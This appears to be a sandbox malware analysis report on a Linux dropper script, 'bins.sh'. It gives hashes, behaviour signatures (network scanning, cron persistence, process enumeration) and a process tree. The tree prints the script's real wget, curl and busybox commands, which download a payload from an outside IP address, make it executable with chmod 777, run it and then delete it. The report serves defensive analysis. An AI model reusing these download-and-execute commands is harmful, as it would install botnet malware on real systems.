Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 13:57
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
5875b85f6a853bb5dc85b0a88a7be4b0
-
SHA1
337556771a06e87851fd63266f40c71a79114b52
-
SHA256
a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a
-
SHA512
b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21
-
SSDEEP
192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr
Malware Config
Signatures
-
Contacts a large (2196) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1521 chmod -
Executes dropped EXE 1 IoCs
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcioc pid Process /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc 1522 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Renames itself 1 IoCs
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcpid Process 1523 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.VatHMH crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcdescription ioc Process File opened for reading /proc/1583/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1708/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/28/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/971/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1305/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1667/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1674/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1750/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/85/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/498/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1546/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1722/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1295/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1560/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1701/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/137/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1510/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1535/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1549/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1564/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/24/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1150/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1344/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1513/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1533/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1542/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1555/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1612/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/12/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/659/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/731/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1688/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1734/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1615/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1639/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1683/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1628/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1646/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1706/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/84/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/173/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/606/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/967/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1552/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1571/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1586/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1672/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/163/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/323/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/727/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1715/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1723/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1633/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1649/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1681/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1547/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1598/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1652/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/711/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1178/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1528/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1656/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1727/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/204/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc wget File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc curl File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1513
-
/bin/rm/bin/rm bins.sh2⤵PID:1514
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1515
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1519
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1520
-
-
/bin/chmodchmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- File and Directory Permissions Modification
PID:1521
-
-
/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1522 -
/bin/shsh -c "crontab -l"3⤵PID:1524
-
/usr/bin/crontabcrontab -l4⤵PID:1525
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1526
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1527
-
-
-
-
/bin/rmrm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵PID:1529
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵PID:1532
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
210B
MD5167990e1043759817511695f355d6cb8
SHA1c7a94305c935d53dccf33e465e3f5e318b617c4e
SHA256e6ed00587277203d0c9d4ad79f9e9d0c75a629d9ab86b1611ced8bec6b85329b
SHA5128fcbefc1513d7debd41e2ebefbdd1f132979c34d8a68d7f626efbeef6037f648b03b9d0ae8a2739a06787ffbf4ab3848a44ceb26675ba5134e3cfafaca6abd1c